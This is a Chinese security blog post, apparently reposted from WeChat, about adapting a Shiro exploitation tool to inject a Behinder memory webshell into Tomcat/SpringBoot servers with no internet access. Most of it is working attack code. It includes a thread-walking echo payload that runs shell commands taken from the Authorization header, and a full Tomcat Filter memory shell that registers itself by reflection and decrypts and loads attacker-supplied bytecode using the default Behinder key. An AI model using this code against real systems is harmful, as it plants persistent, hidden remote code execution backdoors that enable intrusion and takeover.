Shiro 注入冰蝎内存马坑点小记
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
帮朋友做的授权项目, 遇到了《注入内存马》失败的场景, 魔改后的:
加了一个功能模块, 用来解决实战中, 命令执行能出结果, 不出网, 用 jar 起的 springboot 项目 (不支持 JSP), 而内存马注入用原工具注入失败的场景.
由于只做简单修改, 不做大型魔改, 工具不分享, 这里只记载一下学习途中遇到的坑点.
Request 域对象获取方式
当前站点“命令执行”功能模块正常使用, 但是内存马注入失败, 我们所知道的是, 这两个功能模块, 都是依赖于request
域对象的, 按理来说, 命令执行功能模块返回正常, 意味着 request 域对象成功获取到了, 而内存马注入失败是什么鬼?难道工具的代码逻辑有问题?
Tomcat 获取 request 对象
在Tomcat
中, 可以使用如下方式进行获取request
对象:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 得到当前线程的 ClassLoader
WebResourceRoot resources = webappClassLoaderBase.getResources(); // 得到 WebResourceRoot 对象
StandardContext context = (StandardContext) resources.getContext(); // 得到上下文对象
但是受版本限制, 所以不考虑.
SpringBoot 获取 request 对象
在SpringBoot & SpringMVC
中, 可以通过如下形式注入域对象:
ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();
RequestContextHolder
这个 API 在 SpringBoot 中可以成功, 而在SpringMVC
中需要配置RequestContextFilter
.
这两个姿势笔者在 https://www.freebuf.com/articles/web/413597.html 已经说明原因了.
遍历线程获取 request 对象
参考: https://xz.aliyun.com/t/10696?time__1311=CqjxR7D=iQ=05DKy8DIOx0xmT3OFzaT4D#toc-9
我们可以通过遍历当前所有线程, 为了方便演示, 这里直接上 jsp 文件, 来进行获取线程中所包含的request
对象:
<%!
public static Object getFV(Object targetObject, String fieldName) throws Exception {
// 用于存储找到的字段对象
java.lang.reflect.Field field = null;
// 获取目标对象的类类型
Class<?> clazz = targetObject.getClass();
// 遍历目标对象的类层次结构
while (clazz != Object.class) {
try {
// 尝试获取指定名称的字段
field = clazz.getDeclaredField(fieldName);
// 找到字段后跳出循环
break;
} catch (NoSuchFieldException e) {
// 如果当前类中没有找到字段,则继续向上查找超类
clazz = clazz.getSuperclass();
}
}
// 检查字段是否为null
if (field == null) {
// 如果没有找到字段,则抛出异常
throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy of " + targetObject.getClass().getName());
} else {
// 设置字段为可访问(即使它是私有的)
field.setAccessible(true);
// 获取并返回字段的值
return field.get(targetObject);
}
}
%>
<%
try {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getFV(threadGroup, "threads");
for (Thread thread : threads) {
String name = thread.getName();
if (!name.contains("exec") && name.contains("http")) {
java.util.List<org.apache.coyote.RequestInfo> lsts = (java.util.List<org.apache.coyote.RequestInfo>) getFV(getFV(getFV(getFV(getFV(thread, "target"), "this$0"), "handler"), "global"), "processors");
for (org.apache.coyote.RequestInfo requestInfo : lsts) {
org.apache.coyote.Request req = (org.apache.coyote.Request) getFV(requestInfo, "req");
org.apache.catalina.connector.Request trueReq = (org.apache.catalina.connector.Request) req.getNote(1);
out.println(trueReq);
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
%>
这里getFV
方法定义的很巧妙, getDeclaredField
方法可以获取当前类定义的所有属性, 但不包括父类, getField
会获取当前类所有public
属性, 包括父类. 这里定义getFV
巧妙的运用了getDeclaredField
遍历出对象所具有的所有属性. 那么看一下遍历线程的姿势, 准备如下代码:
import java.io.Serializable;
import java.lang.reflect.Field;
public class MyTester {
static class Heihu577 implements Runnable {
private Object obj;
public Heihu577(Object o) {
this.obj = o;
}
@Override
public void run() {
while (true) {
}
}
}
public static void main(String[] args) throws Exception {
new Thread(new Heihu577("flag{666}")).start();
new Thread(new Heihu577("flag{777}")).start();
new Thread(new Heihu577("flag{888}")).start();
// 如上启动了三个线程
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); // 得到线程组
Field threads = threadGroup.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] myThreads = (Thread[]) threads.get(threadGroup); // 通过反射得到 Thread[]
for (Thread myThread : myThreads) {
try {
Field target = myThread.getClass().getDeclaredField("target"); // 得到代理中的 target
target.setAccessible(true);
Object result = target.get(myThread);
if (result != null) {
Field obj = result.getClass().getDeclaredField("obj"); // 得到对象中 obj
obj.setAccessible(true);
Object o = obj.get(result);
System.out.println(o);
/**
* flag{666}
flag{777}
flag{888}
*/
}
} catch (Exception e) {
}
}
}
}
最终可以获取flag
, 这里通过反射拿到所有线程中的成员属性值了. 也就是这个逻辑:
所以这个方法来获取 request 对象, 特别巧妙. 几乎不再受什么 SpringBoot, Tomcat 限制, 还是挺好的一个方法.
一些杂的
命令执行回显的原因
该工具底层获取request
对象也是通过遍历线程进行获取的, 所以这里通过request
对象拿到response
, 通过response
向页面进行输出结果:
try {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getFV(threadGroup, "threads");
for (Thread thread : threads) {
String name = thread.getName();
if (!name.contains("exec") && name.contains("http")) {
Runnable target = (Runnable) getFV(thread, "target");
java.util.List<RequestInfo> lsts = (java.util.List<RequestInfo>) getFV(getFV(getFV(getFV(target, "this$0"), "handler"), "global"), "processors");
for (RequestInfo requestInfo : lsts) {
Field myReq = requestInfo.getClass().getDeclaredField("req");
myReq.setAccessible(true);
org.apache.coyote.Request request = (org.apache.coyote.Request) myReq.get(requestInfo); // coyote Request 类型
Field response = request.getClass().getDeclaredField("response");
response.setAccessible(true);
org.apache.coyote.Response res = (org.apache.coyote.Response) response.get(request);
org.apache.catalina.connector.Request note = (org.apache.catalina.connector.Request) request.getNote(1);
System.out.println(note);
// 输出测试
String data = "Hello World";
ByteChunk byteChunk = new ByteChunk();
byteChunk.allocate(data.length(), data.length());
byteChunk.append(data.getBytes(), 0, data.length());
res.doWrite(byteChunk);
}
}
}
} catch (Exception e) {}
运行即可. 在这里定义了getFV
方法进行本地测试, 内容如下:
public class WebUtils {
public static Object getFV(Object var0, String var1) throws Exception {
java.lang.reflect.Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
}
执行 Base64 解密后的结果
com.summersec.attack.UI.MainController::executeCmdBtn
方法中是命令执行模块的功能, 其中调用的核心逻辑:
与之对应的功能模块是com.summersec.attack.deser.echo.TomcatEcho2
, 内容是 javassist 动态生成的, 要生成的字节码如下:
public class TomcatEcho3 {
public TomcatEcho3() throws Exception {
boolean var4 = false;
Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int var6 = 0; var6 < var5.length; ++var6) {
Thread var7 = var5[var6];
if (var7 != null) {
String var3 = var7.getName();
if (!var3.contains("exec") && var3.contains("http")) {
Object var1 = getFV(var7, "target");
if (var1 instanceof Runnable) {
try {
var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
} catch (Exception var13) {
continue;
}
java.util.List var9 = (java.util.List) getFV(var1, "processors");
for(int var10 = 0; var10 < var9.size(); ++var10) {
Object var11 = var9.get(var10);
var1 = getFV(var11, "req");
Object var2 = var1.getClass().getMethod("getResponse",new Class[0]).invoke(var1, new Object[0]);
var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{new String("Host")});
if (var3 != null && !var3.isEmpty()) {
var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});
var2.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String("Host"), var3});
var4 = true;
}
var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{new String("Authorization")});
if (var3 != null && !var3.isEmpty()) {
var3 = decodeToString(var3.replaceAll("Basic ", ""));
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};
writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\A").next().getBytes());
var4 = true;
}
if (var4) {
break;
}
}
if (var4) {
break;
}
}
}
}
}
}
private static void writeBody(Object var0, byte[] var1) throws Exception {
byte[] bs = ("$$$" + encodeToString(var1) + "$$$").getBytes();
Object var2;
Class var3;
try {
var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
var2 = var3.newInstance();
var3.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(var2, new Object[]{bs, new Integer(0), new Integer(bs.length)});
var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});
} catch (Exception var5) {
var3 = Class.forName("java.nio.ByteBuffer");
var2 = var3.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});
var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});
}
}
}
则会达到如下效果:
内存马注入失败的原因
在com.summersec.attack.deser.plugins.InjectMemTool
, 用javassist
动态生成的, 而内存马的位置在com.summersec.x.BehinderFilter
, 看了一下内存马那边是如何接收请求的, 这里内存马注入的姿势, 也是通过调用defineClass
方法, 加载 POST 请求过来的数据信息(绕过请求头大小限制的姿势):
出现问题的点, 这里重写了equals
方法, 方法中对request
对象进行二次处理, 可能会出现问题. 都是从request
对象中获取数据的, 这里应该直接按照线程中的request
标准进行定义逻辑即可, 但是他这里总是判断环境什么什么的, 更有意思的是下面还有出现BUG的修复记录:
准备其他内存马
在这里手搓一个冰蝎内存马就行, 主要是针对于当前环境的request
对象进行定制一个马子:
package com.heihu577.main;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
public class Zjm implements Filter {
public Zjm() {
}
@Override
public boolean equals(Object req) {
try {
ServletContext servletContext = ((HttpServletRequest) req).getServletContext();
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(Zjm.class.getName());
standardContext.addFilterDef(filterDef);
filterDef.setFilterClass(Zjm.class.getName()); // 设置自己
filterDef.setFilter(new Zjm()); // 放入自己, 因为自己就是 Filter
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDef.getFilterName());
filterMap.setDispatcher("[REQUEST]");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps
// 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);
// 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
Class<? extends StandardContext> aClass = null;
try {
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
} catch (Exception e) {
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}
Field filterConfigs = aClass.getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
filterConfigs.set(standardContext, myFilterConfigs);
} catch (Exception e) {
}
return true;
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
try {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
HttpSession session = request.getSession();
if (request.getParameter("helen") != null) {
if (request.getMethod().equals("POST")) {
HashMap pageContext = new HashMap();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", session);
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Method defineClassMethod = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
byte[] bytes = c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine()));
defineClassMethod.setAccessible(true);
Class<?> clazz = (Class) defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
clazz.newInstance().equals(pageContext);
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
e.printStackTrace();
chain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
关于 javassist
javassist 在使用增强 for 循环时, 会出现错误, 如下:
package com.heihu577;
import javassist.*;
public class InjectMemTool {
public static void main(String[] args) throws Exception {
ClassPool classPool = new ClassPool();
classPool.insertClassPath(new LoaderClassPath(InjectMemTool.class.getClassLoader()));
CtClass clazz = classPool.makeClass("Test" + System.nanoTime());
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
String code = "java.util.ArrayList lst = new java.util.ArrayList();" +
"lst.add(new java.lang.Integer(1));" + // [source error] ; is missing
"for(Integer i : lst){" +
"System.out.println(i);" +
"}";
clazz.addConstructor(CtNewConstructor.make(" public InjectMemTool() {" + code + "}", clazz));
}
}
这里只能用普通 for 循环, 编写代码时尽量把包名类名写全, 否则 可能在底层 AST 语法树转换的时候报错. 坑点记载一下.
关于 ClassLoader 加载
这里有个细节问题, 执行ClassLoader::defineClass(byte[],int,int)
方法时的两种姿势, defineClass 是 protected 修饰的, 支持继承, 记载一下.
继承 ClassLoader 调用 defineClass
class MyClassLoader extends ClassLoader {
Class<?> a(){
return defineClass(new byte[]{}, 0, 0);
}
}
这里在之前分析冰蝎马儿原理时分析过, 算是比较经典的调用defineClass
的姿势了.
通过 Class.forName 进行调用
这里可以通过Class.forName(java.lang.ClassLoader)
去拿到这个class, 通过反射拿到它的defineClass
方法.
Class<?> aClass = Class.forName("java.lang.ClassLoader");
Method declaredMethod = aClass.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
declaredMethod.setAccessible(true);
declaredMethod.invoke(当前类.class, new byte[]{}, 0, 0);
否则因为访问修饰符的问题, 无法访问这个defineClass
方法.
关于打包与运行
刚从 github 拉下来的话, 运行不了, 看一下 JDK 版本, 读一下 README.MD 有没有声明 JDK 版本信息等.
如果要打包, 它的 pom.xml 文件中, 注意一些打包插件的标签是否设置正确, 有没有指明本地的rt.jar
等, 将这些配置好之后再打包.
Ending...
踩坑记录, 记录一下, 以后分析工具原理的时候不迷路.
原文始发于微信公众号(Heihu Share):工具分析 | Shiro 注入冰蝎内存马坑点小记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论